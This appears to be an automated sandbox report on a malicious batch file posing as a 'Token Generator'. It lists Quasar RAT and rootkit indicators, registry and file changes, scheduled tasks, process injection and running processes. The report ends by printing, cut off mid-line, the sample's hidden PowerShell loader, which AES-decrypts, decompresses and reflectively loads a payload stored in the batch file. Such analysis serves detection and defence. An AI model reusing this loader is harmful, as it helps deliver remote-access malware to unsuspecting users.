Analysis Overview
SHA256
9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b
Threat Level: Known bad
The file Token Generator.bat was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Suspicious use of NtCreateUserProcessOtherParentProcess
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Checks BIOS information in registry
Executes dropped EXE
Drops file in System32 directory
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Uses Task Scheduler COM API
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious use of UnmapMainImage
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Creates scheduled task(s)
Modifies data under HKEY_USERS
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-26 20:56
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-26 20:56
Reported
2024-05-26 21:02
Platform
win10v2004-20240426-en
Max time kernel
300s
Max time network
295s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 5124 created 616 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\system32\winlogon.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Token Generator.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | C:\Windows\system32\svchost.exe | N/A |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Discord | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 5124 set thread context of 3636 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\System32\dllhost.exe |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key security queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Windows\System32\mousocoreworker.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Windows\System32\mousocoreworker.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager | C:\Windows\System32\mousocoreworker.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe | N/A |
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\RuntimeBroker.exe | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\winlogon.exe
winlogon.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\dwm.exe
"dwm.exe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Token Generator.bat"
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Token Generator.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Token Generator.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join 